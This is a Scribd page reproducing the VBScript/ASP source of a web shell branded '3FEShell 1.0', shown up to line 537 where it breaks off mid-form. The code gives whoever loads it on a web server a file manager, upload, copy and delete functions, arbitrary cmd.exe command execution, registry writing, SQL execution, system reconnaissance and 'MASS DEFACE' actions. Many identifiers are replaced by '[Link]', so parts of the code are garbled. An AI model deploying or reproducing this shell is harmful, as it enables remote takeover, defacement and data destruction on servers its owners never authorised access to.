Scribd
Upload
49 views32 pages

Code Source Du Script VB

Uploaded by

Rassoul SOW
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as RTF, PDF, TXT or read online on Scribd
49 views32 pages

Code Source Du Script VB

Uploaded by

Rassoul SOW
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as RTF, PDF, TXT or read online on Scribd

1 <%@ LANGUAGE = VBScript.

Encode%>
2 <%//**Start Encode
3 On Error Resume Next
4 Dim myFSO,showdisks
5 Set myFSO = CreateObject ("[Link]")
6 showdisks=FALSE
7 [Link] = 7200
8 Class FileUploader
9 Public Files
10 Private mcolFormElem
11 Private Sub Class_Initialize()
12 Set Files = [Link]("[Link]")
13 Set mcolFormElem = [Link]("[Link]")
14 End Sub
15 Private Sub Class_Terminate()
16 If IsObject(Files) Then
17 [Link]()
18 Set Files = Nothing
19 End If
20 If IsObject(mcolFormElem) Then
21 [Link]()
22 Set mcolFormElem = Nothing
23 End If
24 End Sub
25 Public Property Get Form(sIndex)
26 Form = ""
27 If [Link](LCase(sIndex)) Then Form =
[Link](LCase(sIndex))
28 End Property
29 Public Default Sub Upload()
30 Dim biData, sInputName
31 Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
32 Dim nPosFile, nPosBound
33 biData = [Link]([Link])
34 nPosBegin = 1
35 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
36 If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
37 vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
38 nDataBoundPos = InstrB(1, biData, vDataBounds)
39 Do Until nDataBoundPos = InstrB(biData, vDataBounds &
CByteString("--"))
40 nPos = InstrB(nDataBoundPos, biData, CByteString("Content-
Disposition"))
41 nPos = InstrB(nPos, biData, CByteString("name="))
42 nPosBegin = nPos + 6
43 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
44 sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-
nPosBegin))
45 nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
46 nPosBound = InstrB(nPosEnd, biData, vDataBounds)
47 If nPosFile <> 0 And nPosFile < nPosBound Then
48 Dim oUploadFile, sFileName
49 Set oUploadFile = New UploadedFile
50 nPosBegin = nPosFile + 10
51 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
52 sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-
nPosBegin))
53 [Link] = Right(sFileName, Len(sFileName)-
InStrRev(sFileName, "\"))
54 nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
55 nPosBegin = nPos + 14
56 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
57 [Link] = CWideString(MidB(biData, nPosBegin,
nPosEnd-nPosBegin))
58 nPosBegin = nPosEnd+4
59 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
60 [Link] = MidB(biData, nPosBegin, nPosEnd-
nPosBegin)
61 If [Link] > 0 Then [Link] LCase(sInputName),
oUploadFile
62 Else
63 nPos = InstrB(nPos, biData, CByteString(Chr(13)))
64 nPosBegin = nPos + 4
65 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
66 If Not [Link](LCase(sInputName)) Then
[Link] LCase(sInputName), CWideString(MidB(biData, nPosBegin,
nPosEnd-nPosBegin))
67 End If
68 nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData,
vDataBounds)
69 Loop
70 End Sub
71 Private Function CByteString(sString)
72 Dim nIndex
73 For nIndex = 1 to Len(sString)
74 CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
75 Next
76 End Function
77 Private Function CWideString(bsString)
78 Dim nIndex
79 CWideString =""
80 For nIndex = 1 to LenB(bsString)
81 CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
82 Next
83 End Function
84 End Class
85 Class UploadedFile
86 Public ContentType
87 Public FileName
88 Public FileData
89 Public Property Get FileSize()
90 FileSize = LenB(FileData)
91 End Property
92 Public Sub SaveToDisk(sPath)
93 Dim oFS, oFile
94 Dim nIndex
95 If sPath = "" Or FileName = "" Then Exit Sub
96 If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
97 Set oFS = [Link]("[Link]")
98 If Not [Link](sPath) Then Exit Sub
99 Set oFile = [Link](sPath & FileName, True)
100 For nIndex = 1 to LenB(FileData)
101 [Link] Chr(AscB(MidB(FileData,nIndex,1)))
102 Next
103 [Link]
104 End Sub
105 Public Sub SaveToDatabase(ByRef oField)
106 If LenB(FileData) = 0 Then Exit Sub
107 If IsObject(oField) Then
108 [Link] FileData
109 End If
110 End Sub
111 End Class
112 startcode = "<html><head>[Link]</head><body>"
113 endocde = "</body></html>"
114 onlinehelp = "<font face=""arial"" size=""1"">.:: <a href=""[Link]
target=""_blank"">ONLINE HELP</a> ::.</font><br>"
115 Function HexConv(hexVar)
116 Dim hxx, hxx_var, multiply
117 IF hexVar <> "" THEN
118 hexVar = UCASE(hexVar)
119 hexVar = StrReverse(hexVar)
120 DIM hx()
121 REDIM hx(LEN(hexVar))
122 hxx = 0
123 hxx_var = 0
124 FOR hxx = 1 TO LEN(hexVar)
125 IF multiply = "" THEN multiply = 1
126 hx(hxx) = mid(hexVar,hxx,1)
127 hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var
128 multiply = (multiply * 16)
129 NEXT
130 hexVar = hxx_var
131 HexConv = hexVar
132 END IF
133 End Function
134 cprthtml = "<font face='arial' size='1'>.:: 3FEShell 1.0 ::.</font>"
135 Function get_hxno(ghx)
136 If ghx = "A" Then
137 ghx = 10
138 ElseIf ghx = "B" Then
139 ghx = 11
140 ElseIf ghx = "C" Then
141 ghx = 12
142 ElseIf ghx = "D" Then
143 ghx = 13
144 ElseIf ghx = "E" Then
145 ghx = 14
146 ElseIf ghx = "F" Then
147 ghx = 15
148 End If
149 get_hxno = ghx
150 End Function
151 keydec="<font face='arial' size='1'>.:: [Link] 1.0 &copy; BY <a
href='[Link] - <a href='' target='_blank'></a> ::.</font>"
152 Function showobj(objpath)
153 showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
154 End Function
155 Function showobjpath(objpath)
156 showobjpath = Left(objpath,InstrRev(objpath,"\"))
157 End Function
158 Function checking(a,b)
159 ' If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then
160 ' pagina =
Mid([Link]("SCRIPT_NAME"),InstrRev([Link](
"SCRIPT_NAME"),"/")+1,Len([Link]("SCRIPT_NAME"))) & "?
action=error"
161 ' [Link](pagina)
162 ' End If
163 End Function
164 Sub hdr()
165 [Link] startcode
166 [Link] keydec
167 [Link] "<br>"
168 End Sub
169 sub araBul(path_,ara_)
170 on error resume next
171 If Len(path_) > 0 Then
172 cur = path_&"\"
173 If cur = "\\" Then cur = ""
174 parent = ""
175 If InStrRev(cur,"\") > 0 Then
176 parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
177 End If
178 Else
179 cur = ""
180 End If
181
182 Set f = [Link](cur)
183 Set fc = [Link]
184 For Each f1 In fc
185 if lcase(InStr(1,[Link],lcase(ara_)))>0 then
186 downStr = "<font face=webdings size=5><a href='"&
[Link]("SCRIPT_NAME") & "?action=download&file=" &
Replace([Link],"\","|") &"'>?/a></font>"
187 if lcase(ara_)="mdb" then
188 [Link] downStr&"<font face=wingdings size=5><a href='"&
[Link]("SCRIPT_NAME") &"?action=del&path=" &
Replace([Link],"\","|") & "'>?/a></font> * <a href='"&
[Link]("SCRIPT_NAME") &"?
action=search&status=7&path="&[Link]&"'>"& [Link] &"
["&[Link]&"]"&"</a></b><br>"
189 else
190 [Link] downStr&"<font face=wingdings size=5><a href='"&
[Link]("SCRIPT_NAME") &"?action=del&path=" &
Replace([Link],"\","|") & "'>?/a><a href='"&
[Link]("SCRIPT_NAME") & "?action=txtedit&file=" &
Replace([Link],"\","|") &"'>!</a></font> - <a href='"&
[Link]("SCRIPT_NAME") &"?
action=search&status=5&path="&[Link]&"'>"& [Link] &"
["&[Link]&"]</a></b><br>"
191 end if
192 end if
193 Next
194 Set fs = [Link]
195 For Each f1 In fs
196 araBul [Link],ara_
197 Next
198 Set f = Nothing
199 Set fc = Nothing
200 Set fs = Nothing
201 end sub
202 Sub showcontent()
203 showdisks=TRUE
204 [Link] "<font face=""arial"" size=""1"">.:: <a href=""" &
[Link]("SCRIPT_NAME") & "?raiz=root"">DRIVES</a> ::.<br>.::
SCRIPT PATH: " &
UCase([Link]([Link]("SCRIPT_NAME"))) &
"<br><br></font>"
205 If Trim([Link]("raiz")) = "root" Then
206 Set fs=[Link]("[Link]")
207 Set drivecollection=[Link]
208 [Link] "<font face=""arial"" size=""2"">"
209 For Each drive IN drivecollection
210 str=[Link] & ":"
211 [Link] "<b><a href=""" &
[Link]("SCRIPT_NAME") & "?raiz=" & str & """>" & UCase(str)
& "</a></b><br>"
212 Select Case [Link]
213 Case 0
214 tipodrive = "Unknown"
215 nomedrive = [Link]
216 Case 1
217 tipodrive = "Removable"
218 If [Link] Then
219 nomedrive = [Link]
220 Else
221 nomedrive = ""
222 End If
223 Case 2
224 tipodrive = "Fixed"
225 If [Link] Then
226 nomedrive = [Link]
227 Else
228 nomedrive = ""
229 End If
230 Case 3
231 tipodrive = "Network"
232 If [Link] Then
233 nomedrive = [Link]
234 Else
235 nomedrive = ""
236 End If
237 Case 4
238 tipodrive = "CD-Rom"
239 If [Link] Then
240 nomedrive = [Link]
241 Else
242 nomedrive = ""
243 End If
244 Case 5
245 tipodrive = "RAM Disk"
246 If [Link] Then
247 nomedrive = [Link]
248 Else
249 nomedrive = ""
250 End If
251 End Select
252 [Link] "<b>Type:</b> " & tipodrive & "<br>"
253 [Link] "<b>Name: </b>" & nomedrive & "<br>"
254 [Link] "<b>File System: </b>"
255 If [Link] Then
256 set sp=[Link](str)
257 [Link] [Link] & "<br>"
258 Else
259 [Link] "-<br>"
260 End If
261 [Link] "<b>Disk Space: </b>"
262 If [Link] Then
263 freespace = ([Link] / 1048576)
264 set sp=[Link](str)
265 [Link](Round(freespace,1) & " MB<br>")
266 Else
267 [Link]("-<br>")
268 End If
269 [Link] "<b>Total Space: </b>"
270 If [Link] Then
271 totalspace = ([Link] / 1048576)
272 set sp=[Link](str)
273 [Link](Round(totalspace,1) & " MB<br>")
274 Else
275 [Link]("-<br>")
276 End If
277 [Link] "<br>"
278 Next
279 [Link] "</font>"
280 Set fs = Nothing
281 Set drivecollection = Nothing
282 set sp=Nothing
283 Else
284 If Trim([Link]("raiz")) = "" Then
285 caminho =
[Link]([Link]("SCRIPT_NAME"))
286 pos = Instr(caminho,"\")
287 pos2 = 1
288 While pos2 <> 0
289 If Instr(pos + 1,caminho,"\") <> 0 Then
290 pos = Instr(pos + 1,caminho,"\")
291 Else
292 pos2 = 0
293 End If
294 Wend
295 raiz = Left(caminho,pos)
296 Else
297 raiz = trim([Link]("raiz")) & "\"
298 End If
299 Set ObjFSO = CreateObject("[Link]")
300 Set MonRep = [Link](raiz)
301 Set ColFolders = [Link]
302 Set ColFiles0 = [Link]
303 [Link] "<font face='arial' size='1'><a href=""#""
onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?
action=mass&massact=test&path=" & Replace(raiz,"\","|") & "',
'win1','width=600,height=300,scrollbars=YES,resizable')"">MASS TEST IN " &
UCase(raiz) & "</a></font><br><br>"
304 [Link] "<font face='arial' size='1'><a href=""#""
onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=mass&massact=dfc&path="
& Replace(raiz,"\","|") & "',
'win1','width=700,height=300,scrollbars=YES,resizable')"">MASS DEFACE IN " &
UCase(raiz) & "</a></font><br><br>"
305 [Link] "<font face='arial' size='1'><a href=""#""
onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=upload&path=" &
Replace(raiz,"\","|") & "',
'win1','width=500,height=100,scrollbars=YES,resizable')"">UPLOAD FILE TO " &
UCase(raiz) & "</a></font><br><br>"
306 [Link] "<font face='arial' size='1'>"
307 [Link] "<a href=""#"" onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=cmd',
'win1','width=450,height=200,scrollbars=YES,resizable')"">PROMPT</a>"
308 [Link] " - <a href=""#"" onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=info',
'win1','width=760,height=450,scrollbars=YES,resizable')"">SYS INFO</a>"
309 [Link] " - <a href=""#"" onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=reg',
'win1','width=550,height=200,scrollbars=YES,resizable')"">REGEDIT</a>"
310 [Link] " - <a href=""#"" onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=search&path=" &
Replace(raiz,"\","|") & "',
'win1','width=500,height=100,scrollbars=YES,resizable')"">SEARCH</a>"
311 [Link] " - <a href=""#"" onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=sqlserver',
'win1','width=550,height=150,scrollbars=YES,resizable')"">EXECUTE SQL</a>"
312 [Link] " - <a href=""#"" onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=about',
'win1','width=550,height=250,scrollbars=YES,resizable')"">ABOUT</a>"
313 [Link] "</font><br><br>"
314 [Link] "<font face='arial'><b>Root Folder: " & raiz &
"</b></font><br><br>"
315 If CInt(Len(raiz) - 1) <> 2 Then
316 barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1
317 backlevel = Left(raiz,barrapos)
318 [Link] "<font face='arial' size='2'><b><DIR><a href='" &
[Link]("SCRIPT_NAME") & "?raiz=" & backlevel & "'> . .
</font></b></a><br>"
319 Else
320 [Link] "<font face='arial' size='2'><b><DIR><a href='" &
[Link]("SCRIPT_NAME") & "?raiz=root'> .
.&nbsp;</font></b></a><br>"
321 End If
322 [Link] "<table border=""0"" cellspacing=""0"" cellpadding=""0""
>"
323 for each folderItem in ColFolders
324 [Link] "<tr><td><font face='arial' size='2'><b><DIR> <a
href='" & [Link]("SCRIPT_NAME") & "?raiz=" & [Link]
& "'>" & showobj([Link]) & "</a></b></td><td
valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#""
onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=put&path=" &
Replace([Link],"\","|") & "',
'win1','width=400,height=250,scrollbars=YES,resizable')""><<
PUT</a></font></td>"
325 [Link] "<td valign='baseline'>&nbsp;&nbsp;<font face='arial'
size='1'><a href=""#"" onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=fcopy&path=" &
Replace([Link],"\","|") & "',
'win1','width=400,height=100,scrollbars=YES,resizable')""><<
Copy/Move</a></font></td>"
326 [Link] "<td valign='baseline'>&nbsp;&nbsp;<font face='arial'
size='1'><a href=""#"" onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=fdel&path=" &
Replace([Link],"\","|") & "',
'win1','width=400,height=150,scrollbars=YES,resizable')""><<
Delete</a></font></td></tr>"
327 next
328 [Link] "</table><br><table border=""0"" cellspacing=""0""
cellpadding=""0"" >"
329 marcatabela = true
330 for each FilesItem0 in ColFiles0
331 If marcatabela = true then
332 corfundotabela = " bgcolor=""#EEEEEE"""
333 Else
334 corfundotabela = ""
335 End If
336 [Link] "<tr><td" & corfundotabela & "><font face='arial'
size='2'>:: " & showobj([Link]) & "</td><td valign='baseline'" &
corfundotabela & "><font face='arial' size='1'>&nbsp;&nbsp;" &
FormatNumber([Link]/1024, 0) &
"&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'" &
corfundotabela & ">&nbsp;&nbsp;<font face='arial' size='1'><a href=""#""
onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=get&path=" &
Replace([Link],"\","|") & "',
'win1','width=400,height=200,scrollbars=YES,resizable')"">[Link].o</a></font></td
><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font
face='arial' size='1'><a href=""#"" onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=ren&path=" &
Replace([Link],"\","|") & "',
'win1','width=400,height=200,scrollbars=YES,resizable')"">[Link].o</a></font></td
><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font
face='arial' size='1'><a href=""#"" onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=del&path=" &
Replace([Link],"\","|") & "',
'win1','width=400,height=200,scrollbars=YES,resizable')"">[Link].o</a></font></td
><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font
face='arial' size='1'><a href=""#"" onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=txtview&file=" &
Replace([Link],"\","|") & "',
'win1','width=640,height=480,scrollbars=YES,resizable')"">[Link].o</a></font></t
d><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font
face='arial' size='1'><a href=""#"" onclick=""javascript:[Link]('" &
[Link]("SCRIPT_NAME") & "?action=txtedit&file=" &
Replace([Link],"\","|") & "',
'win1','width=760,height=520,scrollbars=YES,resizable')"">[Link].o</a></font></td
><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font
face='arial' size='1'><a href=""" & [Link]("SCRIPT_NAME") & "?
action=download&file=" & Replace([Link],"\","|") & """>o.?
ndir.o</a></font></td><td valign='baseline'" & corfundotabela &
">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a target='opener' href="""
& [Link]("SCRIPT_NAME") & "?action=filecopy&file=" &
Replace([Link],"\","|") & """>[Link].o</a></font></td></tr>"
337 marcatabela = NOT marcatabela
338 next
339 [Link] "</table>"
340 End If
341 End Sub
342 Select Case Trim([Link]("action"))
343 Case "get"
344 checa = checking(cprthtml,keydec)
345 Call hdr()
346 [Link] copyright & onlinehelp
347 caminho = Replace(Trim([Link]("path")),"|","\")
348 Set ObjFSO = CreateObject("[Link]")
349 Set MyFile = [Link](caminho)
350 destino =
Left([Link]([Link]("SCRIPT_NAME")),InstrRev(Server.
MapPath([Link]("SCRIPT_NAME")),"\"))
351 [Link] (destino)
352 If [Link] = 0 Then
353 [Link] "<font face='arial' size='2'><center><br><br>File: <b>"
& caminho & "</b><br>Copied to: " & destino
354 End If
355 Case "put"
356 checa = checking(cprthtml,keydec)
357 Call hdr()
358 [Link] copyright & onlinehelp
359 If Trim([Link]("arquivo")) = "" Then
360 caminho =
Left([Link]([Link]("SCRIPT_NAME")),InstrRev(Server.
MapPath([Link]("SCRIPT_NAME")),"\"))
361 varpath = Trim([Link]("path"))
362 Set ObjFSO = CreateObject("[Link]")
363 Set MonRep = [Link](caminho)
364 Set ColFolders = [Link]
365 Set ColFiles0 = [Link]
366 [Link] "<font face='arial' size='2'><b>Select File: <br><table
border=""0"" cellspacing=""0"" cellpadding=""0"" >"
367 for each FilesItem0 in ColFiles0
368 [Link] "<tr><td><font face='arial' size='2'>:: " &
showobj([Link]) & "</td><td valign='baseline'><font face='arial'
size='1'>&nbsp;&nbsp;" & FormatNumber([Link]/1024, 0) &
"&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td
valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""" &
[Link]("SCRIPT_NAME") & "?action=put&path=" & varpath &
"&arquivo=" & Replace([Link],"\","|") & """>:: SELECT
::</a></font></td></tr>"
369 next
370 [Link] "</table>"
371 Else
372 destino = Replace(Trim([Link]("path")),"|","\") & "\"
373 arquivo = Replace(Trim([Link]("arquivo")),"|","\")
374 Set ObjFSO = CreateObject("[Link]")
375 Set MyFile = [Link](arquivo)
376 [Link] (destino)
377 If [Link] = 0 Then
378 [Link] "<font face='arial' size='2'><center><br><br>File:
<b>" & arquivo & "</b><br>Copied to: <b>" & destino
379 End If
380 End If
381 Case "del"
382 checa = checking(cprthtml,keydec)
383 Call hdr()
384 [Link] copyright & onlinehelp
385 caminho = Replace(Trim([Link]("path")),"|","\")
386 Set ObjFSO = CreateObject("[Link]")
387 Set MyFile = [Link](caminho)
388 [Link]
389 If [Link] = 0 Then
390 [Link] "<SCRIPT
LANGUAGE=""JavaScript"">[Link]();</SCRIPT>"
391 [Link] "<font face='arial' size='2'><center><br><br>Folder
<b>" & caminho & "</b> Deleted.<br>"
392 End If
393 Case "fdel"
394 checa = checking(cprthtml,keydec)
395 Call hdr()
396 [Link] copyright & onlinehelp
397 caminho = Replace(Trim([Link]("path")),"|","\")
398 Set ObjFSO = CreateObject("[Link]")
399 [Link] caminho
400 If [Link] = 0 Then
401 [Link] "<SCRIPT
LANGUAGE=""JavaScript"">[Link]();</SCRIPT>"
402 [Link] "<font face='arial' size='2'><center><br><br>File <b>"
& caminho & "</b> Deleted.<br>"
403 End If
404 Case "ren"
405 checa = checking(cprthtml,keydec)
406 Call hdr()
407 [Link] copyright & onlinehelp
408 If Trim([Link]("status")) <> "2" Then
409 caminho = Replace(Trim([Link]("path")),"|","\")
410 arquivo = showobj(caminho)
411 [Link] "<br><font face=""arial"" size=""2""><b>" & arquivo &
"</b><br>" & _
412 "<form action=""" &
[Link]("SCRIPT_NAME") & """ method=""get"">" & _
413 "<input type=""hidden"" name=""action"" value=""ren"">" &
_
414 "<input type=""hidden"" name=""status"" value=""2"">" & _
415 "<input type=""hidden"" name=""path"" value=""" &
Trim([Link]("path")) & """>" & _
416 "New Name: <input type=""text"" name=""newname"">" & _
417 "&nbsp;&nbsp;<input type=""submit"" value=""Submit"">"
&_
418 "</form>"
419 Else
420 caminho = Replace(Trim([Link]("path")),"|","\")
421 Set ObjFSO = CreateObject("[Link]")
422 Set MyFile = [Link](caminho)
423 destino = Left(caminho,InStrRev(caminho,"\")) &
Trim([Link]("newname"))
424 [Link] (destino)
425 If [Link] = 0 Then
426 [Link] "<font face='arial' size='2'><center><br><br>Arquivo:
<b>" & caminho & "</b><br>renomeado para<b>: " & destino
427 [Link] "<SCRIPT
LANGUAGE=""JavaScript"">[Link]();</SCRIPT>"
428 End If
429 End If
430 Case "error"
431 [Link] "<center><font face='arial' size='2' color='red'> <b>C?
DIGO CORROMPIDO<BR>CORRUPT CODE</font></center>"
432 Case "cmd"
433 checa = checking(cprthtml,keydec)
434 Call hdr()
435 [Link] copyright & onlinehelp
436 Set oScript = [Link]("[Link]")
437 Set oScriptNet = [Link]("[Link]")
438 Set oFileSys = [Link]("[Link]")
439 szCMD = [Link](".CMD")
440 If (szCMD <> "") Then
441 szTempFile = "c:\" & [Link]( )
442 Call [Link] ("[Link] /c " & szCMD & " > " & szTempFile, 0,
True)
443 Set oFile = [Link] (szTempFile, 1, False, 0)
444 End If
445 [Link] "<FORM action=""" & [Link]("URL") &
""" method=""GET""><input type=""hidden"" name=""action""
value=""cmd""><input type=text name="".CMD"" size=45 value=""" & szCMD &
"""><input type=submit value=""Run""></FORM><br><br> "
446 If (IsObject(oFile)) Then
447 On Error Resume Next
448 [Link] "<font face=""arial"">"
449 [Link]
Replace(Replace([Link]([Link]),VbCrLf,"<br>")," ","&nbsp;")
450 [Link]
451 Call [Link](szTempFile, True)
452 End If
453 Case "info"
454 checa = checking(cprthtml,keydec)
455 Call hdr()
456 [Link] copyright & onlinehelp
457 Set WshNetwork = [Link]("[Link]")
458 Set WshShell = [Link]("[Link]")
459 Set WshEnv = [Link]("SYSTEM")
460 [Link] "<br><font face=arial size=2>"
461 [Link] "<b>User Properties:</b><br>"
462 [Link] "<b>UserName: </b>" & [Link] &
"<br>"
463 [Link] "<b>Computer Name: </b>" &
[Link] & "<br>"
464 [Link] "<b>User Domain: </b>" & [Link] &
"<br>"
465 Set Drives = [Link]
466 For i = 0 to [Link] - 1
467 [Link] "<b>Drive de Rede (Mapeado): </b>" & [Link](i)
& "<br>"
468 Next
469 [Link] "<br><b>Cpu Information:</b><br>"
470 [Link] "<b>Processor Architecture: </b>" &
WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
471 [Link] "<b>Number Of Processors: </b>" &
WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
472 [Link] "<b>Processor Identifier: </b>" &
WshEnv("PROCESSOR_IDENTIFIER") & "<br>"
473 [Link] "<b>Processor Level: </b>" &
WshEnv("PROCESSOR_LEVEL") & "<br>"
474 [Link] "<b>Processor Revision: </b>" &
WshEnv("PROCESSOR_REVISION") & "<br>"
475 [Link] "<br><b>Operating System Information:</b><br>"
476 [Link] "<b>IP: </b>" &
[Link]("LOCAL_ADDR") & "<br>"
477 [Link] "<b>Sistem OS: </b>" & WshEnv("OS") & "<br>"
478 [Link] "<b>Server Software: </b>" &
[Link]("SERVER_SOFTWARE") & "<br>"
479 [Link] "<b>Cmd Path: </b>" &
[Link]("%ComSpec%") & "<br>"
480 [Link] "<b>Public Paths: </b>" & WshEnv("PATH") & "<br>"
481 [Link] "<b>Executables: </b>" & WshEnv("PATHEXT") &
"<br>"
482 [Link] "<b>Prompt: </b> " & WshEnv("PROMPT") & "<br>"
483 [Link] "<b>System Drive: </b>" &
[Link]("%SYSTEMDRIVE%") & "<br>"
484 [Link] "<b>System Root: </b>" &
[Link]("%SYSTEMROOT%") & "<br>"
485 [Link] "<b>System32 Path: </b>" & [Link]
& "<br>"
486 Set Drives = Nothing
487 Set WshNetwork = Nothing
488 Set WshShell = Nothing
489 Set WshEnv = Nothing
490 Case "reg"
491 checa = checking(cprthtml,keydec)
492 Call hdr()
493 [Link] copyright & onlinehelp
494 Set WshShell = [Link]("[Link]")
495 [Link] "<font face=""arial"" size=""2""><br><b>Registry
Editor:</b><br><br>"
496 Select Case Trim([Link]("regaction"))
497 Case "w"
498 If Trim([Link]("process")) = "yes" Then
499 Select Case Trim([Link]("type"))
500 Case "1"
501 teste = [Link]
(Trim([Link]("key")), Trim([Link]("value")),
"REG_SZ")
502 Case "2"
503 teste = [Link]
(Trim([Link]("key")), CInt(Trim([Link]("value"))),
"REG_DWORD")
504 Case "3"
505 teste = [Link]
(Trim([Link]("key")), CInt(Trim([Link]("value"))),
"REG_BINARY")
506 Case "4"
507 teste = [Link]
(Trim([Link]("key")), Trim([Link]("value")),
"REG_EXPAND_SZ")
508 Case "5"
509 teste = [Link]
(Trim([Link]("key")), Trim([Link]("value")),
"REG_MULTI_SZ")
510 End Select
511 [Link] "<center><br><font face=""arial""
size=""2"">Registry <b>"
512 [Link] Trim([Link]("key")) & "</b>
Changed.</center>"
513 [Link] "<br><br><font face=""arial"" size=""1""><a
href=""" & [Link]("SCRIPT_NAME") & "?action=reg"">Main
Menu</a><br>"
514 Else
515 [Link] "<table><tr><td><font face=""arial""
size=""2"">ROOT KEY NAME</td><td><font face=""arial""
size=""2"">ABREVIA??O</td></tr>"
516 [Link] "<tr><td><font face=""arial""
size=""1"">HKEY_CURRENT_USER </td><td><font face=""arial"" size=""1"">
HKCU </td></tr>"
517 [Link] "<tr><td><font face=""arial""
size=""1"">HKEY_LOCAL_MACHINE </td><td><font face=""arial"" size=""1"">
HKLM </td></tr>"
518 [Link] "<tr><td><font face=""arial""
size=""1"">HKEY_CLASSES_ROOT </td><td><font face=""arial"" size=""1"">
HKCR </td></tr>"
519 [Link] "<tr><td><font face=""arial""
size=""1"">HKEY_USERS </td><td><font face=""arial"" size=""1"">
HKEY_USERS </td></tr>"
520 [Link] "<tr><td><font face=""arial""
size=""1"">HKEY_CURRENT_CONFIG </td><td><font face=""arial"" size=""1"">
HKEY_CURRENT_CONFIG </td></tr></table><br>"
521 [Link] "<table><tr><td><font face=""arial""
size=""2"">Type </td><td><font face=""arial"" size=""2""> Description
</td><td><font face=""arial"" size=""2""> Figure </td></tr>"
522 [Link] "<tr><td><font face=""arial"" size=""1"">REG_SZ
</td><td><font face=""arial"" size=""1""> String </td><td><font face=""arial""
size=""1""> String </td></tr>"
523 [Link] "<tr><td><font face=""arial""
size=""1"">REG_DWORD </td><td><font face=""arial"" size=""1""> Number
</td><td><font face=""arial"" size=""1""> DWORD </td></tr>"
524 [Link] "<tr><td><font face=""arial""
size=""1"">REG_BINARY </td><td><font face=""arial"" size=""1""> Binary
</td><td><font face=""arial"" size=""1""> VBArray DWORD </td></tr>"
525 [Link] "<tr><td><font face=""arial""
size=""1"">REG_EXPAND_SZ </td><td><font face=""arial"" size=""1""> String
Expand (ex. ""%windir%\\[Link]"") </td><td><font face=""arial"" size=""1"">
String </td></tr>"
526 [Link] "<tr><td><font face=""arial""
size=""1"">REG_MULTI_SZ </td><td><font face=""arial"" size=""1""> Array Of
Strings </td><td><font face=""arial"" size=""1""> VBArray Of Strings
</td></tr></table>"
527 [Link] "<br><br><FORM action=""" &
[Link]("URL") & """ method=""GET"">"
528 [Link] "<table><tr><td><font face=""arial""
size=""1"">KEY: </td><td><input type=""text"" name=""key""> <font face=""arial""
size=""1""><br>( ex.:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )</td></tr>"
529 [Link] "<tr><td><font face=""arial""
size=""1"">VALUE:</td><td><input type=""text"" name=""value""></td></tr>"
530 [Link] "<tr><td><font face=""arial""
size=""1"">TYPE:</td><td><SELECT NAME=""type"">"
531 [Link] "<OPTION VALUE=""1"">REG_SZ </option>"
532 [Link] "<OPTION VALUE=""2"">REG_DWORD
</option>"
533 [Link] "<OPTION VALUE=""3"">REG_BINARY
</option>"
534 [Link] "<OPTION VALUE=""4"">REG_EXPAND_SZ
</option>"
535 [Link] "<OPTION VALUE=""5"">REG_MULTI_SZ
</option></select><br>"
536 [Link] "<input type=""hidden"" name=""regaction""
value=""w"">"
537 [Link] "<input type=""hidden"" name=""action""
value=""reg"">"
